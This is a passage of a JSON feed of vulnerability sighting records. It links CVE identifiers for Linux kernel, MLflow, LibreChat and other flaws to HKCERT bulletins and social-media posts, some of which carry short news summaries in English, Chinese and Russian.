"creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "8a5489fb-0541-4128-a877-8d94dd8ff38d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31679", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "b0a7cf82-abfc-447a-9fbc-24162de5f835", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31681", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "f711a5d5-a5d9-49b4-a015-f736f0d86aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31682", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "528d23ae-5150-4afb-a6c5-109e67249d65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31685", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "bb0fe975-85d6-4722-9df0-ad245181b0b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31787", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "83b35a31-ffe5-4259-8533-e9b3f918f151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31570", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "6b019580-1967-4e65-b6e8-6783e18851e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31658", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "66d3ad33-d65f-416c-a3a4-92f687ad02f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31662", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "3a8093aa-b2c8-41b8-8ad6-93d4a35e3741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31649", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "458925eb-b9cb-497a-bdc5-350da326e132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31669", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "624277bf-a208-436a-9f22-bd30153d03a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31691", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "772cd127-2528-440d-8812-99b611b5fe6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31738", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "9963d1f6-58d1-4ab2-ac57-c8ed4f46f514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3198", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnbs4zpp6f2f", "content": "CVE-2026-3198 - Improper Access Control in mlflow/mlflow\nCVE ID : CVE-2026-3198\n \n Published : June 2, 2026, 4:17 a.m. | 15\u00a0minutes ago\n \n Description : MLflow 3.9.0 with basic-auth (`--app-name basic-auth`) fails to enforce authorization checks for multiple Gateway API 'list'...", "creation_timestamp": "2026-06-02T04:48:34.308633Z"}, {"uuid": "67e6a88c-323f-415f-a6e4-b16aaa2976c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31419", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T17:00:00.000000Z"}, {"uuid": "82e5dcbd-50d5-45ec-bcd6-7163ecaaf932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "4b84073d-9fc2-48f6-8a3f-cd64d7b1142d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31419", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "678a9518-ab55-42b2-949a-7f3ccbdaf9e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31504", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "38b9aa46-c081-4869-9dba-c9fcee36b456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31533", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "df245193-d36c-4e4d-a9f4-463c8f348b33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/steelwise.bsky.social/post/3mnca6p5spp2x", "content": "Copy Fail: 732 bytes to root on every Linux server you forgot about. CVE-2026-31431 lets any local user become root on Ubuntu, RHEL, Debian, SUSE, Amazon Linux, and most other distros. The exploit fits in 732 bytes of Python. The bug has\u2026 https://steelwise.uk/filings/copy-fail-linux-cve-2026-31431/", "creation_timestamp": "2026-06-02T09:00:08.719182Z"}, {"uuid": "4b967d7a-46bb-457b-a95f-defc9a63da5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31525", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mncdqi6reg2z", "content": "\ud83d\udd12 CVE-2026-31525: Linux Kernel Privilege Escalation Flaw\n\nA new privilege escalation flaw, identified as CVE-2026-31525, has been discovered in the Linux kernel. This vulnerability ...\n\nhttps://tinyurl.com/av75wddh #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-06-02T10:03:40.957509Z"}, {"uuid": "98865749-4ca6-4294-bd7a-530c058fd2cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31525", "type": "seen", "source": "Telegram/ewCNvksQ23LcKFOZP4S7JiAV_BKfvwBJJ-Max0Hr7r6pTH0", "content": "", "creation_timestamp": "2026-06-02T09:00:04.000000Z"}, {"uuid": "638982bb-d9f3-4324-b95f-2313c222fb69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/gT5VG53EHkYx7lJsNMzVATNBd8Pb7In7gs06zL9W87J77Dc", "content": "", "creation_timestamp": "2026-05-28T21:00:04.000000Z"}, {"uuid": "f0a8de4b-ad47-414a-ab4c-ff597b5408b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31942", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116684647649200501", "content": "\u26a0\ufe0f CVE-2026-31942: HIGH severity in LibreChat < 0.8.3-rc1. Authenticated users can overwrite others\u2019 API key configs via IDOR in /api/keys. Patch is live (0.8.3-rc1), vendor manages remediation for cloud. More: https://radar.offseq.com/threat/cve-2026-31942-cwe-862-missing-authorization-in-da-025369dc #OffSeq #LibreChat #InfoSec #CVE", "creation_timestamp": "2026-06-03T06:00:27.994459Z"}, {"uuid": "2fd43629-6eba-4e6c-a047-9120be1d1ba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/87120", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CopyFail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 1neptune\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-03 09:14:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\ngo CVE-2026-31431 (CopyFail) local privilege escalation exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-03T11:00:04.000000Z"}, {"uuid": "87454edc-0362-4000-9231-ea207a52fd71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/true_secator/8277", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. Acer \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0434\u0432\u0443\u0445 0-day \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 \u0435\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 \u0441 mesh-\u0441\u0435\u0442\u044c\u044e Wave 7, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 T7c_GBL_1.01.000055 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439.\n\n\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0413\u0435\u0440\u0433\u043e \u041f\u0430\u043f. \u041f\u0435\u0440\u0432\u0430\u044f CVE-2026-49200 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u043c\u0441\u044f \u0432 \u0430\u0440\u0445\u0438\u0432\u0430\u0445 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432.\n\n\u0412\u0442\u043e\u0440\u0430\u044f CVE-2026-49201 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043a\u043b\u044e\u0447\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0443 \u0447\u0435\u0440\u0435\u0437 \u0431\u044d\u043a\u0434\u043e\u0440.\n\n2. \u0425\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 (CVE-2026-8206) \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Kirki - Freeform Page Builder, Website Builder & Customizer \u0434\u043b\u044f WordPress \u0434\u043b\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u0410\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Defiant, \u0447\u0435\u0439 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u044d\u043a\u0440\u0430\u043d Wordfence \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b \u0431\u043e\u043b\u0435\u0435 222 \u043f\u043e\u043f\u044b\u0442\u043e\u043a\u00a0\u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 24 \u0447\u0430\u0441\u0430. CVE-2026-8206 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 REST API \u0434\u043b\u044f \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u044f \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e 'handle_forgot_password()'.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u043d\u0430 500 000 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432, \u043e\u0431\u044a\u0435\u043c\u044b \u0440\u0430\u0431\u043e\u0442\u044b \u0443 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u044f \u0438\u043c\u0435\u044e\u0442\u0441\u044f. \n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Wordfence, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u0432 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u043c \u043a\u0440\u0443\u043f\u043d\u043e\u043c \u0440\u0435\u043b\u0438\u0437\u0435, \u0432\u0435\u0440\u0441\u0438\u0438 6.0.0, \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 \u0434\u043e 6.0.6 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a\u00a0\u0441 WordPress, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u043e\u0447\u0442\u0438 40% \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043b\u0430\u0433\u0438\u043d\u0430.\n\n3. \u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f 0-day \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0410\u043c\u043c\u0430\u0440 \u0410\u0441\u043a\u0430\u0440 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 (GitHub), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0434\u043d\u0438\u043c \u0449\u0435\u043b\u0447\u043a\u043e\u043c \u043c\u044b\u0448\u0438 \u0443\u043a\u0440\u0430\u0441\u0442\u044c \u0442\u043e\u043a\u0435\u043d\u044b GitHub \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 Visual Studio Code.\n\n\u041f\u0440\u0438\u0447\u0435\u043c, \u043a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft \u0431\u044b\u043b\u0438 \u043f\u0440\u043e\u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u043b\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0438\u044f.\n\n4. BishopFox \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0438\u00a0\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f CVE-2026-22557, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u043f\u0440\u0438 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Ubiquiti UniFi.\n\n5. HP \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 VoIP-\u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u0432 \u0441\u0435\u0440\u0438\u0438 VVX, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-0826, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430\u0445 \u0431\u0435\u0437 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Rapid7, \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445, \u0433\u0434\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f.\n\n6. Positive Technologies \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0441\u0432\u043e\u0439 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043c\u0430\u0439\u0441\u043a\u0438\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u0412 \u0442\u0440\u0435\u043d\u0434\u0435 VM, \u0443\u043a\u0430\u0437\u0430\u0432 \u0433\u0440\u043e\u043c\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Linux (CVE-2026-31431), ActiveMQ (CVE-2026-34197), SharePoint (CVE-2026-32201) \u0438 Acrobat Reader (CVE-2026-34621).\n\n7. CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u044f\u0434\u0440\u0430 Linux CVE-2022-0492 (CVSS 7,8) \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u0445\u043e\u0434\u0443 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432. \u041e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f 